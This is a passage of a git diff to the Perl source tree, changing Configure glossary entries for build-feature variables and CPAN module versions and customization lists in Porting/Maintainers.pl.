with branch prediction information. -d_builtin_mul_overflow (d_builtin_overflow.U): - This variable conditionally defines HAS_BUILTIN_MUL_OVERFLOW, which - indicates that the compiler supports __builtin_mul_overflow(x,y,&z) - for safely multiplying x and y into z while checking for overflow. - -d_builtin_sub_overflow (d_builtin_overflow.U): - This variable conditionally defines HAS_BUILTIN_SUB_OVERFLOW, which - indicates that the compiler supports __builtin_sub_overflow(x,y,&z) - for safely subtracting y from x into z while checking for overflow. +d_bzero (d_bzero.U): + This variable conditionally defines the HAS_BZERO symbol if + the bzero() routine is available to set memory to 0. d_c99_variadic_macros (d_c99_variadic.U): This variable conditionally defines the HAS_C99_VARIADIC_MACROS @@ -555,6 +552,11 @@ d_cbrt (d_cbrt.U): indicates to the C program that the cbrt() (cube root) function is available. +d_charvspr (d_vprintf.U): + This variable conditionally defines CHARVSPRINTF if this system + has vsprintf returning type (char*). The trend seems to be to + declare it as "int vsprintf()". + d_chown (d_chown.U): This variable conditionally defines the HAS_CHOWN symbol, which indicates to the C program that the chown() routine is available. @@ -640,6 +642,11 @@ d_cuserid (d_cuserid.U): indicates to the C program that the cuserid() routine is available to get character login names. +d_dbl_dig (d_dbl_dig.U): + This variable conditionally defines d_dbl_dig if this system's + header files provide DBL_DIG, which is the number of significant + digits in a double precision number. + d_dbminitproto (d_dbminitproto.U): This variable conditionally defines the HAS_DBMINIT_PROTO symbol, which indicates to the C program that the system provides @@ -687,24 +694,19 @@ d_dlsymun (d_dlsymun.U): indicates that we need to prepend an underscore to the symbol name before calling dlsym(). -d_dosuid (d_dosuid.U): - This variable conditionally defines the symbol DOSUID, which - tells the C program that it should insert setuid emulation code - on hosts which have setuid #! scripts disabled. - -d_double_has_inf (longdblfio.U): +d_double_has_inf (infnan.U): This variable conditionally defines the symbol DOUBLE_HAS_INF which indicates that the double type has an infinity. -d_double_has_nan (longdblfio.U): - This variable conditionally defines the symbol DOUBLE_HAS_NAN +d_double_has_nan (infnan.U): + This variable conditionally defines the symbol DOUBLE_HAS_INF which indicates that the double type has a not-a-number. -d_double_has_negative_zero (longdblfio.U): +d_double_has_negative_zero (infnan.U): This variable conditionally defines the symbol DOUBLE_HAS_NEGATIVE_ZERO which indicates that the double type has a negative zero. -d_double_has_subnormals (longdblfio.U): +d_double_has_subnormals (infnan.U): This variable conditionally defines the symbol DOUBLE_HAS_SUBNORMALS which indicates that the double type has subnormals (denormals). @@ -724,6 +726,11 @@ d_double_style_vax (longdblfio.U): This variable conditionally defines the symbol DOUBLE_STYLE_VAX, which indicates that the double is the 64-bit VAX format D or G. +d_dosuid (d_dosuid.U): + This variable conditionally defines the symbol DOSUID, which + tells the C program that it should insert setuid emulation code + on hosts which have setuid #! scripts disabled. + d_drand48_r (d_drand48_r.U): This variable conditionally defines the HAS_DRAND48_R symbol, which indicates to the C program that the drand48_r() @@ -739,10 +746,6 @@ d_dup2 (d_dup2.U): This variable conditionally defines HAS_DUP2 if dup2() is available to duplicate file descriptors. -d_dup3 (d_dup3.U): - This variable conditionally defines HAS_DUP3 if dup3() is - available to duplicate file descriptors. - d_duplocale (d_newlocale.U): This variable conditionally defines the HAS_DUPLOCALE symbol, which indicates to the C program that the duplocale() routine is available @@ -846,10 +849,6 @@ d_fchmod (d_fchmod.U): indicates to the C program that the fchmod() routine is available to change mode of opened files. -d_fchmodat (d_fsat.U): - This variable conditionally defines the HAS_FCHMODAT symbol, which - indicates the POSIX fchmodat() function is available. - d_fchown (d_fchown.U): This variable conditionally defines the HAS_FCHOWN symbol, which indicates to the C program that the fchown() routine is available @@ -1391,6 +1390,10 @@ d_inc_version_list (inc_version_list.U): This variable conditionally defines PERL_INC_VERSION_LIST. It is set to undef when PERL_INC_VERSION_LIST is empty. +d_index (d_strchr.U): + This variable conditionally defines HAS_INDEX if index() and + rindex() are available for string searching. + d_inetaton (d_inetaton.U): This variable conditionally defines the HAS_INET_ATON symbol, which indicates to the C program that the inet_aton() function is available @@ -1522,10 +1525,6 @@ d_link (d_link.U): This variable conditionally defines HAS_LINK if link() is available to create hard links. -d_linkat (d_fsat.U): - This variable conditionally defines the HAS_LINKAT symbol, which - indicates the POSIX linkat() function is available. - d_llrint (d_llrint.U): This variable conditionally defines the HAS_LLRINT symbol, which indicates to the C program that the llrint() routine is available @@ -1548,10 +1547,6 @@ d_llroundl (d_llroundl.U): indicates to the C program that the llroundl() routine is available to return the long long value nearest to x away from zero. -d_localeconv_l (d_localeconv_l.U): - This variable conditionally defines the HAS_LOCALECONV_L symbol, which - indicates to the C program that the localeconv_l() routine is available. - d_localtime64 (d_timefuncs64.U): This variable conditionally defines the HAS_LOCALTIME64 symbol, which indicates to the C program that the localtime64 () routine is available. @@ -1588,6 +1583,10 @@ d_logb (d_logb.U): indicates to the C program that the logb() routine is available to extract the exponent of x. +d_longdbl (d_longdbl.U): + This variable conditionally defines HAS_LONG_DOUBLE if + the long double type is supported. + d_long_double_style_ieee (d_longdbl.U): This variable conditionally defines LONG_DOUBLE_STYLE_IEEE if the long double is any of the IEEE 754 style long doubles: @@ -1612,10 +1611,6 @@ d_long_double_style_vax (d_longdbl.U): This variable conditionally defines LONG_DOUBLE_STYLE_VAX if the long double is the 128-bit VAX format H. -d_longdbl (d_longdbl.U): - This variable conditionally defines HAS_LONG_DOUBLE if - the long double type is supported. - d_longlong (d_longlong.U): This variable conditionally defines HAS_LONG_LONG if the long long type is supported. @@ -1669,16 +1664,6 @@ d_mblen (d_mblen.U): indicates to the C program that the mblen() routine is available to find the number of bytes in a multibye character. -d_mbrlen (d_mbrlen.U): - This variable conditionally defines the HAS_MBRLEN symbol if the - mbrlen() routine is available to be used to get the length of - multi-byte character strings. - -d_mbrtowc (d_mbrtowc.U): - This variable conditionally defines the HAS_MBRTOWC symbol if the - mbrtowc() routine is available to be used to convert a multi-byte - character into a wide character. - d_mbstowcs (d_mbstowcs.U): This variable conditionally defines the HAS_MBSTOWCS symbol, which indicates to the C program that the mbstowcs() routine is available @@ -1689,17 +1674,36 @@ d_mbtowc (d_mbtowc.U): indicates to the C program that the mbtowc() routine is available to convert multibyte to a wide character. +d_memchr (d_memchr.U): + This variable conditionally defines the HAS_MEMCHR symbol, which + indicates to the C program that the memchr() routine is available + to locate characters within a C string. + +d_memcmp (d_memcmp.U): + This variable conditionally defines the HAS_MEMCMP symbol, which + indicates to the C program that the memcmp() routine is available + to compare blocks of memory. + +d_memcpy (d_memcpy.U): + This variable conditionally defines the HAS_MEMCPY symbol, which + indicates to the C program that the memcpy() routine is available + to copy blocks of memory. + d_memmem (d_memmem.U): This variable conditionally defines the HAS_MEMMEM symbol, which indicates to the C program that the memmem() routine is available to return a pointer to the start of the first occurance of a substring in a memory area (or NULL if not found). -d_memrchr (d_memrchr.U): - This variable conditionally defines the HAS_MEMRCHR symbol, which - indicates to the C program that the memrchr() routine is available - to return a pointer to the last occurrence of a byte in a memory - area (or NULL if not found). +d_memmove (d_memmove.U): + This variable conditionally defines the HAS_MEMMOVE symbol, which + indicates to the C program that the memmove() routine is available + to copy potentially overlapping blocks of memory. + +d_memset (d_memset.U): + This variable conditionally defines the HAS_MEMSET symbol, which + indicates to the C program that the memset() routine is available + to set blocks of memory. d_mkdir (d_mkdir.U): This variable conditionally defines the HAS_MKDIR symbol, which @@ -1715,11 +1719,6 @@ d_mkfifo (d_mkfifo.U): This variable conditionally defines the HAS_MKFIFO symbol, which indicates to the C program that the mkfifo() routine is available. -d_mkostemp (d_mkostemp.U): - This variable conditionally defines HAS_MKOSTEMP if mkostemp() is - available to exclusively create and open a uniquely named (with a - suffix) temporary file. - d_mkstemp (d_mkstemp.U): This variable conditionally defines the HAS_MKSTEMP symbol, which indicates to the C program that the mkstemp() routine is available @@ -1823,10 +1822,6 @@ d_nan (d_nan.U): This variable conditionally defines HAS_NAN if nan() is available to generate NaN. -d_nanosleep (d_nanosleep.U): - This variable conditionally defines HAS_NANOSLEEP - if nanosleep() is available to sleep with 1E-9 sec accuracy. - d_ndbm (i_ndbm.U): This variable conditionally defines the HAS_NDBM symbol, which indicates that both the ndbm.h include file and an appropriate ndbm @@ -1902,10 +1897,6 @@ d_open3 (d_open3.U): which indicates to the C program that the 3 argument version of the open(2) function is available. -d_openat (d_fsat.U): - This variable conditionally defines the HAS_OPENAT symbol, which - indicates the POSIX openat() function is available. - d_pathconf (d_pathconf.U): This variable conditionally defines the HAS_PATHCONF symbol, which indicates to the C program that the pathconf() routine is available @@ -1932,11 +1923,6 @@ d_pipe (d_pipe.U): indicates to the C program that the pipe() routine is available to create an inter-process channel. -d_pipe2 (d_pipe2.U): - This variable conditionally defines the HAS_PIPE2 symbol, which - indicates to the C program that the pipe2() routine is available - to create an inter-process channel. - d_poll (d_poll.U): This variable conditionally defines the HAS_POLL symbol, which indicates to the C program that the poll() routine is available @@ -2151,10 +2137,6 @@ d_rename (d_rename.U): indicates to the C program that the rename() routine is available to rename files. -d_renameat (d_fsat.U): - This variable conditionally defines the HAS_RENAMEAT symbol, which - indicates the POSIX renameat() function is available. - d_rewinddir (d_readdir.U): This variable conditionally defines HAS_REWINDDIR if rewinddir() is available. @@ -2171,6 +2153,21 @@ d_round (d_round.U): This variable conditionally defines the HAS_ROUND symbol, which indicates to the C program that the round() routine is available. +d_safebcpy (d_safebcpy.U): + This variable conditionally defines the HAS_SAFE_BCOPY symbol if + the bcopy() routine can do overlapping copies. Normally, you + should probably use memmove(). + +d_safemcpy (d_safemcpy.U): + This variable conditionally defines the HAS_SAFE_MEMCPY symbol if + the memcpy() routine can do overlapping copies. + For overlapping copies, memmove() should be used, if available. + +d_sanemcmp (d_sanemcmp.U): + This variable conditionally defines the HAS_SANE_MEMCMP symbol if + the memcpy() routine is available and can be used to compare relative + magnitudes of chars with their high bits set. + d_sbrkproto (d_sbrkproto.U): This variable conditionally defines the HAS_SBRK_PROTO symbol, which indicates to the C program that the system provides @@ -2513,6 +2510,12 @@ d_socks5_init (d_socks5_init.U): This variable conditionally defines the HAS_SOCKS5_INIT symbol, which indicates to the C program that the socks5_init() routine is available. +d_sprintf_returns_strlen (d_sprintf_len.U): + This variable defines whether sprintf returns the length of the string + (as per the ANSI spec). Some C libraries retain compatibility with + pre-ANSI C and return a pointer to the passed in buffer; for these + this variable will be undef. + d_sqrtl (d_sqrtl.U): This variable conditionally defines the HAS_SQRTL symbol, which indicates to the C program that the sqrtl() routine is available. @@ -2599,10 +2602,29 @@ d_stdstdio (d_stdstdio.U): has a FILE structure declaring usable _ptr and _cnt fields (or equivalent) in stdio.h. +d_strchr (d_strchr.U): + This variable conditionally defines HAS_STRCHR if strchr() and + strrchr() are available for string searching. + d_strcoll (d_strcoll.U): This variable conditionally defines HAS_STRCOLL if strcoll() is available to compare strings using collating information. +d_strctcpy (d_strctcpy.U): + This variable conditionally defines the USE_STRUCT_COPY symbol, which + indicates to the C program that this C compiler knows how to copy + structures. + +d_strerrm (d_strerror.U): + This variable holds what Strerror is defined as to translate an error + code condition into an error message string. It could be 'strerror' + or a more complex macro emulating strerror with sys_errlist[], or the + "unknown" string when both strerror and sys_errlist are missing. + +d_strerror (d_strerror.U): + This variable conditionally defines HAS_STRERROR if strerror() is + available to translate error numbers to strings. + d_strerror_l (d_strerror_l.U): This variable conditionally defines the HAS_STRERROR_L symbol, which indicates to the C program that the strerror_l() routine is available @@ -2626,10 +2648,6 @@ d_strlcpy (d_strlcpy.U): This variable conditionally defines the HAS_STRLCPY symbol, which indicates to the C program that the strlcpy () routine is available. -d_strnlen (d_strnlen.U): - This variable conditionally defines the HAS_STRNLEN symbol, which - indicates to the C program that the strnlen () routine is available. - d_strtod (d_strtod.U): This variable conditionally defines the HAS_STRTOD symbol, which indicates to the C program that the strtod() routine is available @@ -2644,10 +2662,6 @@ d_strtold (d_strtold.U): This variable conditionally defines the HAS_STRTOLD symbol, which indicates to the C program that the strtold() routine is available. -d_strtold_l (d_strtold_l.U): - This variable conditionally defines the HAS_STRTOLD_L symbol, which - indicates to the C program that the strtold_l() routine is available. - d_strtoll (d_strtoll.U): This variable conditionally defines the HAS_STRTOLL symbol, which indicates to the C program that the strtoll() routine is available. @@ -2734,11 +2748,6 @@ d_tgamma (d_tgamma.U): indicates to the C program that the tgamma() routine is available for the gamma function. See also d_lgamma. -d_thread_safe_nl_langinfo_l (d_nl_langinfo_l.U): - This variable contains the eventual value of the - HAS_THREAD_SAFE_NL_LANGINFO_L symbol, which indicates if the - nl_langinfo_l() function exists and is thread-safe. - d_time (d_time.U): This variable conditionally defines the HAS_TIME symbol, which indicates that the time() routine exists. The time() routine is normally @@ -2812,10 +2821,6 @@ d_union_semun (d_union_semun.U): This variable conditionally defines HAS_UNION_SEMUN if the union semun is defined by including . -d_unlinkat (d_fsat.U): - This variable conditionally defines the HAS_UNLINKAT symbol, which - indicates the POSIX unlinkat() function isavailable. - d_unordered (d_unordered.U): This variable conditionally defines the HAS_UNORDERED symbol, which indicates to the C program that the unordered() routine is available. @@ -2874,6 +2879,16 @@ d_voidtty (i_sysioctl.U): Otherwise (on USG probably), it is enough to close the standard file descriptors and do a setpgrp(). +d_volatile (d_volatile.U): + This variable conditionally defines the HASVOLATILE symbol, which + indicates to the C program that this C compiler knows about the + volatile declaration. + +d_vprintf (d_vprintf.U): + This variable conditionally defines the HAS_VPRINTF symbol, which + indicates to the C program that the vprintf() routine is available + to printf with a pointer to an argument list. + d_vsnprintf (d_snprintf.U): This variable conditionally defines the HAS_VSNPRINTF symbol, which indicates to the C program that the vsnprintf () library function @@ -3453,6 +3468,11 @@ i_arpainet (i_arpainet.U): This variable conditionally defines the I_ARPA_INET symbol, and indicates whether a C program should include . +i_assert (i_assert.U): + This variable conditionally defines the I_ASSERT symbol, which + indicates to the C program that exists and could be + included. + i_bfd (i_bfd.U): This variable conditionally defines the I_BFD symbol, and indicates whether a C program can include . @@ -3497,6 +3517,11 @@ i_fenv (i_fenv.U): indicates to the C program that exists and should be included. +i_float (i_float.U): + This variable conditionally defines the I_FLOAT symbol, and indicates + whether a C program may include to get symbols like DBL_MAX + or DBL_MIN, i.e. machine dependent floating point values. + i_fp (i_fp.U): This variable conditionally defines the I_FP symbol, and indicates whether a C program should include . @@ -3542,6 +3567,11 @@ i_libutil (i_libutil.U): This variable conditionally defines the I_LIBUTIL symbol, and indicates whether a C program should include . +i_limits (i_limits.U): + This variable conditionally defines the I_LIMITS symbol, and indicates + whether a C program may include to get symbols like WORD_BIT + and friends. + i_locale (i_locale.U): This variable conditionally defines the I_LOCALE symbol, and indicates whether a C program should include . @@ -3558,6 +3588,14 @@ i_mallocmalloc (i_mallocmalloc.U): This variable conditionally defines the I_MALLOCMALLOC symbol, and indicates whether a C program should include . +i_math (i_math.U): + This variable conditionally defines the I_MATH symbol, and indicates + whether a C program may include . + +i_memory (i_memory.U): + This variable conditionally defines the I_MEMORY symbol, and indicates + whether a C program should include . + i_mntent (i_mntent.U): This variable conditionally defines the I_MNTENT symbol, and indicates whether a C program should include . @@ -3623,18 +3661,34 @@ i_socks (i_socks.U): This variable conditionally defines the I_SOCKS symbol, and indicates whether a C program should include . +i_stdarg (i_varhdr.U): + This variable conditionally defines the I_STDARG symbol, which + indicates to the C program that exists and should + be included. + i_stdbool (i_stdbool.U): This variable conditionally defines the I_STDBOOL symbol, which indicates to the C program that exists and should be included. +i_stddef (i_stddef.U): + This variable conditionally defines the I_STDDEF symbol, which + indicates to the C program that exists and should + be included. + i_stdint (i_stdint.U): This variable conditionally defines the I_STDINT symbol, which indicates to the C program that exists and should be included. i_stdlib (i_stdlib.U): - This variable unconditionally defines the I_STDLIB symbol. + This variable conditionally defines the I_STDLIB symbol, which + indicates to the C program that exists and should + be included. + +i_string (i_string.U): + This variable conditionally defines the I_STRING symbol, which + indicates that should be included rather than . i_sunmath (i_sunmath.U): This variable conditionally defines the I_SUNMATH symbol, and indicates @@ -3672,8 +3726,8 @@ i_syslog (i_syslog.U): and indicates whether a C program should include . i_sysmman (i_sysmman.U): - This variable conditionally defines the I_SYS_MMAN symbol, - and indicates whether a C program should include . + This variable conditionally defines the I_SYS_MMAN symbol, and + indicates whether a C program should include . i_sysmode (i_sysmode.U): This variable conditionally defines the I_SYSMODE symbol, @@ -3774,7 +3828,7 @@ i_termios (i_termio.U): to be included. i_time (i_time.U): - This variable unconditionally defines I_TIME, which indicates + This variable conditionally defines I_TIME, which indicates to the C program that it should include . i_unistd (i_unistd.U): @@ -3789,14 +3843,23 @@ i_utime (i_utime.U): This variable conditionally defines the I_UTIME symbol, and indicates whether a C program should include . +i_values (i_values.U): + This variable conditionally defines the I_VALUES symbol, and indicates + whether a C program may include to get symbols like MAXLONG + and friends. + +i_varargs (i_varhdr.U): + This variable conditionally defines I_VARARGS, which indicates + to the C program that it should include . + +i_varhdr (i_varhdr.U): + Contains the name of the header to be included to get va_dcl definition. + Typically one of varargs.h or stdarg.h. + i_vfork (i_vfork.U): This variable conditionally defines the I_VFORK symbol, and indicates whether a C program should include vfork.h. -i_wchar (i_wchar.U): - This variable conditionally defines the I_WCHAR symbol, - that indicates whether a C program may include . - i_xlocale (d_newlocale.U): This symbol, if defined, indicates to the C program that it should include to get uselocale() and its friends @@ -4709,6 +4772,10 @@ procselfexe (d_procselfexe.U): of the symbolic link pointing to the absolute pathname of the executing program. +prototype (prototype.U): + This variable holds the eventual value of CAN_PROTOTYPE, which + indicates the C compiler can handle function prototypes. + ptrsize (ptrsize.U): This variable contains the value of the PTRSIZE symbol, which indicates to the C program how many bytes there are in a pointer. @@ -4921,7 +4988,6 @@ shrpenv (libperl.U): or shrpenv='' See the main perl Makefile.SH for actual working usage. - Alternatively, we might be able to use a command line option such as -R $archlibexp/CORE (Solaris) or -Wl,-rpath $archlibexp/CORE (Linux). @@ -5302,6 +5368,10 @@ strerror_r_proto (d_strerror_r.U): REENTRANT_PROTO_T_ABC macros of reentr.h if d_strerror_r is defined. +strings (i_string.U): + This variable holds the full path of the string header that will be + used. Typically /usr/include/string.h or /usr/include/strings.h. + submit (Loc.U): This variable is defined but not used by Configure. The value is the empty string and is not useful. @@ -5674,6 +5744,11 @@ uvXUformat (perlxvf.U): This variable contains the format string used for printing a Perl UV as an unsigned hexadecimal integer in uppercase ABCDEF. +vaproto (vaproto.U): + This variable conditionally defines CAN_VAPROTO on systems supporting + prototype declaration of functions with a variable number of + arguments. See also prototype. + vendorarch (vendorarch.U): This variable contains the value of the PERL_VENDORARCH symbol. It may have a ~ on the front. diff --git a/Porting/Maintainers.pl b/Porting/Maintainers.pl index 4f039f7ad0c6..e9032a91f3a3 100755 --- a/Porting/Maintainers.pl +++ b/Porting/Maintainers.pl @@ -85,7 +85,7 @@ package Maintainers; # DEPRECATED contains the *first* version of Perl in which the module # was considered deprecated. It should only be present if the module is -# actually deprecated. Such modules should use deprecate.pm to +# actually deprecated. Such modules should use deprecated.pm to # issue a warning if used. E.g.: # # use if $] >= 5.011, 'deprecate'; @@ -120,7 +120,7 @@ package Maintainers; %Modules = ( 'Archive::Tar' => { - 'DISTRIBUTION' => 'BINGOS/Archive-Tar-2.30.tar.gz', + 'DISTRIBUTION' => 'BINGOS/Archive-Tar-2.24.tar.gz', 'FILES' => q[cpan/Archive-Tar], 'BUGS' => 'bug-archive-tar@rt.cpan.org', 'EXCLUDED' => [ @@ -156,15 +156,8 @@ package Maintainers; t/system.t ) ], - 'CUSTOMIZED' => [ - # CPAN RT 105344 - 't/mkdir.t', - # smartmatch changes - 'lib/autodie/exception.pm', - 'lib/autodie/hints.pm', - 't/exceptions.t', - 't/lib/Hints_pod_examples.pm', - ], + # CPAN RT 105344 + 'CUSTOMIZED' => [ qw[ t/mkdir.t ] ], }, 'AutoLoader' => { @@ -180,10 +173,9 @@ package Maintainers; }, 'B::Debug' => { - 'DISTRIBUTION' => 'RURBAN/B-Debug-1.26.tar.gz', + 'DISTRIBUTION' => 'RURBAN/B-Debug-1.24.tar.gz', 'FILES' => q[cpan/B-Debug], 'EXCLUDED' => ['t/pod.t'], - 'DEPRECATED' => '5.027003', }, 'base' => { @@ -192,7 +184,7 @@ package Maintainers; }, 'bignum' => { - 'DISTRIBUTION' => 'PJACKLAM/bignum-0.49.tar.gz', + 'DISTRIBUTION' => 'PJACKLAM/bignum-0.47.tar.gz', 'FILES' => q[cpan/bignum], 'EXCLUDED' => [ qr{^t/author-}, @@ -221,7 +213,7 @@ package Maintainers; }, 'Compress::Raw::Zlib' => { - 'DISTRIBUTION' => 'PMQS/Compress-Raw-Zlib-2.076.tar.gz', + 'DISTRIBUTION' => 'PMQS/Compress-Raw-Zlib-2.074.tar.gz', 'FILES' => q[cpan/Compress-Raw-Zlib], 'EXCLUDED' => [ @@ -234,7 +226,7 @@ package Maintainers; }, 'Config::Perl::V' => { - 'DISTRIBUTION' => 'HMBRAND/Config-Perl-V-0.29.tgz', + 'DISTRIBUTION' => 'HMBRAND/Config-Perl-V-0.27.tgz', 'FILES' => q[cpan/Config-Perl-V], 'EXCLUDED' => [qw( examples/show-v.pl @@ -255,7 +247,7 @@ package Maintainers; }, 'CPAN' => { - 'DISTRIBUTION' => 'ANDK/CPAN-2.20-TRIAL.tar.gz', + 'DISTRIBUTION' => 'ANDK/CPAN-2.18-TRIAL.tar.gz', 'FILES' => q[cpan/CPAN], 'EXCLUDED' => [ qr{^distroprefs/}, @@ -266,7 +258,6 @@ package Maintainers; qw( lib/CPAN/Admin.pm scripts/cpan-mirrors PAUSE2015.pub - PAUSE2019.pub SlayMakefile t/00signature.t t/04clean_load.t @@ -346,12 +337,13 @@ package Maintainers; }, 'Devel::PPPort' => { - 'DISTRIBUTION' => 'WOLFSAGE/Devel-PPPort-3.36.tar.gz', - 'FILES' => q[dist/Devel-PPPort], + 'DISTRIBUTION' => 'WOLFSAGE/Devel-PPPort-3.35.tar.gz', + # RJBS has asked MHX to have UPSTREAM be 'blead' + # (i.e. move this from cpan/ to dist/) + 'FILES' => q[cpan/Devel-PPPort], 'EXCLUDED' => [ 'PPPort.pm', # we use PPPort_pm.PL instead - ], - 'CUSTOMIZED' => [ qw[ parts/embed.fnc ] ], + ] }, 'Devel::SelfStubber' => { @@ -377,7 +369,7 @@ package Maintainers; }, 'Digest::SHA' => { - 'DISTRIBUTION' => 'MSHELOR/Digest-SHA-6.01.tar.gz', + 'DISTRIBUTION' => 'MSHELOR/Digest-SHA-5.96.tar.gz', 'FILES' => q[cpan/Digest-SHA], 'EXCLUDED' => [ qw( t/pod.t @@ -394,12 +386,9 @@ package Maintainers; }, 'Encode' => { - 'DISTRIBUTION' => 'DANKOGAI/Encode-2.97.tar.gz', + 'DISTRIBUTION' => 'DANKOGAI/Encode-2.88.tar.gz', 'FILES' => q[cpan/Encode], - 'CUSTOMIZED' => [ - # TODO test passes on blead - 't/truncated_utf8.t', - ], + 'CUSTOMIZED' => [ qw(Unicode/Unicode.pm) ], }, 'encoding::warnings' => { @@ -418,17 +407,9 @@ package Maintainers; }, 'experimental' => { - 'DISTRIBUTION' => 'LEONT/experimental-0.019.tar.gz', + 'DISTRIBUTION' => 'LEONT/experimental-0.016.tar.gz', 'FILES' => q[cpan/experimental], - 'EXCLUDED' => [ - qr{^xt/}, - qr{nytprof.*} - ], 'EXCLUDED' => [qr{^xt/}], - 'CUSTOMIZED' => [ - # smartmatch changes - 't/basic.t', - ], }, 'Exporter' => { @@ -442,7 +423,7 @@ package Maintainers; }, 'ExtUtils::CBuilder' => { - 'DISTRIBUTION' => 'AMBS/ExtUtils-CBuilder-0.280230.tar.gz', + 'DISTRIBUTION' => 'AMBS/ExtUtils-CBuilder-0.280224.tar.gz', 'FILES' => q[dist/ExtUtils-CBuilder], 'EXCLUDED' => [ qw(README.mkdn), @@ -452,7 +433,7 @@ package Maintainers; 'ExtUtils::Constant' => { - 'DISTRIBUTION' => 'NWCLARK/ExtUtils-Constant-0.24.tar.gz', + 'DISTRIBUTION' => 'NWCLARK/ExtUtils-Constant-0.23.tar.gz', 'FILES' => q[cpan/ExtUtils-Constant], 'EXCLUDED' => [ qw( lib/ExtUtils/Constant/Aaargh56Hash.pm @@ -460,10 +441,12 @@ package Maintainers; examples/perl_regcomp_posix_keyword.pl ), ], + # cc37ebcee3 to fix VMS failure + 'CUSTOMIZED' => [ qw(t/Constant.t) ], }, 'ExtUtils::Install' => { - 'DISTRIBUTION' => 'BINGOS/ExtUtils-Install-2.14.tar.gz', + 'DISTRIBUTION' => 'BINGOS/ExtUtils-Install-2.04.tar.gz', 'FILES' => q[cpan/ExtUtils-Install], 'EXCLUDED' => [ qw( t/lib/Test/Builder.pm @@ -477,7 +460,7 @@ package Maintainers; }, 'ExtUtils::MakeMaker' => { - 'DISTRIBUTION' => 'BINGOS/ExtUtils-MakeMaker-7.34.tar.gz', + 'DISTRIBUTION' => 'BINGOS/ExtUtils-MakeMaker-7.24.tar.gz', 'FILES' => q[cpan/ExtUtils-MakeMaker], 'EXCLUDED' => [ qr{^t/lib/Test/}, @@ -501,22 +484,24 @@ package Maintainers; }, 'ExtUtils::ParseXS' => { - 'DISTRIBUTION' => 'SMUELLER/ExtUtils-ParseXS-3.35.tar.gz', + 'DISTRIBUTION' => 'SMUELLER/ExtUtils-ParseXS-3.30.tar.gz', 'FILES' => q[dist/ExtUtils-ParseXS], }, 'File::Fetch' => { - 'DISTRIBUTION' => 'BINGOS/File-Fetch-0.56.tar.gz', + 'DISTRIBUTION' => 'BINGOS/File-Fetch-0.52.tar.gz', 'FILES' => q[cpan/File-Fetch], }, 'File::Path' => { - 'DISTRIBUTION' => 'JKEENAN/File-Path-2.15.tar.gz', + 'DISTRIBUTION' => 'RICHE/File-Path-2.12.tar.gz', 'FILES' => q[cpan/File-Path], 'EXCLUDED' => [ qw(t/Path-Class.t), qr{^xt/}, ], + # https://github.com/rpcme/File-Path/pull/34 + 'CUSTOMIZED' => [ qw( lib/File/Path.pm t/Path_win32.t ) ], }, 'File::Temp' => { @@ -532,7 +517,7 @@ package Maintainers; }, 'Filter::Simple' => { - 'DISTRIBUTION' => 'SMUELLER/Filter-Simple-0.94.tar.gz', + 'DISTRIBUTION' => 'SMUELLER/Filter-Simple-0.91.tar.gz', 'FILES' => q[dist/Filter-Simple], 'EXCLUDED' => [ qr{^demo/} @@ -540,7 +525,7 @@ package Maintainers; }, 'Filter::Util::Call' => { - 'DISTRIBUTION' => 'RURBAN/Filter-1.58.tar.gz', + 'DISTRIBUTION' => 'RURBAN/Filter-1.55.tar.gz', 'FILES' => q[cpan/Filter-Util-Call pod/perlfilter.pod ], @@ -561,7 +546,6 @@ package Maintainers; t/sh.t t/tee.t t/z_kwalitee.t - t/z_manifest.t t/z_meta.t t/z_perl_minimum_version.t t/z_pod-coverage.t @@ -569,15 +553,15 @@ package Maintainers; ), ], 'MAP' => { - 'Call/' => 'cpan/Filter-Util-Call/', - 't/filter-util.pl' => 'cpan/Filter-Util-Call/filter-util.pl', - 'perlfilter.pod' => 'pod/perlfilter.pod', - '' => 'cpan/Filter-Util-Call/', + 'Call/' => 'cpan/Filter-Util-Call/', + 'filter-util.pl' => 'cpan/Filter-Util-Call/filter-util.pl', + 'perlfilter.pod' => 'pod/perlfilter.pod', + '' => 'cpan/Filter-Util-Call/', }, }, 'Getopt::Long' => { - 'DISTRIBUTION' => 'JV/Getopt-Long-2.50.tar.gz', + 'DISTRIBUTION' => 'JV/Getopt-Long-2.49.1.tar.gz', 'FILES' => q[cpan/Getopt-Long], 'EXCLUDED' => [ qr{^examples/}, @@ -613,7 +597,7 @@ package Maintainers; }, 'if' => { - 'DISTRIBUTION' => 'XSAWYERX/if-0.0608.tar.gz', + 'DISTRIBUTION' => 'RJBS/if-0.0606.tar.gz', 'FILES' => q[dist/if], }, @@ -636,7 +620,7 @@ package Maintainers; }, 'IO::Socket::IP' => { - 'DISTRIBUTION' => 'PEVANS/IO-Socket-IP-0.39.tar.gz', + 'DISTRIBUTION' => 'PEVANS/IO-Socket-IP-0.38.tar.gz', 'FILES' => q[cpan/IO-Socket-IP], 'EXCLUDED' => [ qr{^examples/}, @@ -649,7 +633,7 @@ package Maintainers; }, 'IPC::Cmd' => { - 'DISTRIBUTION' => 'BINGOS/IPC-Cmd-1.00.tar.gz', + 'DISTRIBUTION' => 'BINGOS/IPC-Cmd-0.96.tar.gz', 'FILES' => q[cpan/IPC-Cmd], }, @@ -664,8 +648,14 @@ package Maintainers; }, 'JSON::PP' => { - 'DISTRIBUTION' => 'ISHIGAKI/JSON-PP-2.97001.tar.gz', + 'DISTRIBUTION' => 'MAKAMAKA/JSON-PP-2.27400.tar.gz', 'FILES' => q[cpan/JSON-PP], + 'CUSTOMIZED' => [ + 'bin/json_pp', # CVE-2016-1238 + 'lib/JSON/PP.pm', # CVE-2016-1238, CPAN RT 118469 + 't/011_pc_expo.t', # CPAN RT 118469 + 't/018_json_checker.t', # CPAN RT 118469 + ], }, 'lib' => { @@ -679,7 +669,7 @@ package Maintainers; }, 'libnet' => { - 'DISTRIBUTION' => 'SHAY/libnet-3.11.tar.gz', + 'DISTRIBUTION' => 'SHAY/libnet-3.10.tar.gz', 'FILES' => q[cpan/libnet], 'EXCLUDED' => [ qw( Configure @@ -694,7 +684,7 @@ package Maintainers; }, 'Locale-Codes' => { - 'DISTRIBUTION' => 'SBECK/Locale-Codes-3.56.tar.gz', + 'DISTRIBUTION' => 'SBECK/Locale-Codes-3.42.tar.gz', 'FILES' => q[cpan/Locale-Codes], 'EXCLUDED' => [ qw( README.first @@ -730,7 +720,7 @@ package Maintainers; }, 'Math::BigInt' => { - 'DISTRIBUTION' => 'PJACKLAM/Math-BigInt-1.999811.tar.gz', + 'DISTRIBUTION' => 'PJACKLAM/Math-BigInt-1.999806.tar.gz', 'FILES' => q[cpan/Math-BigInt], 'EXCLUDED' => [ qr{^examples/}, @@ 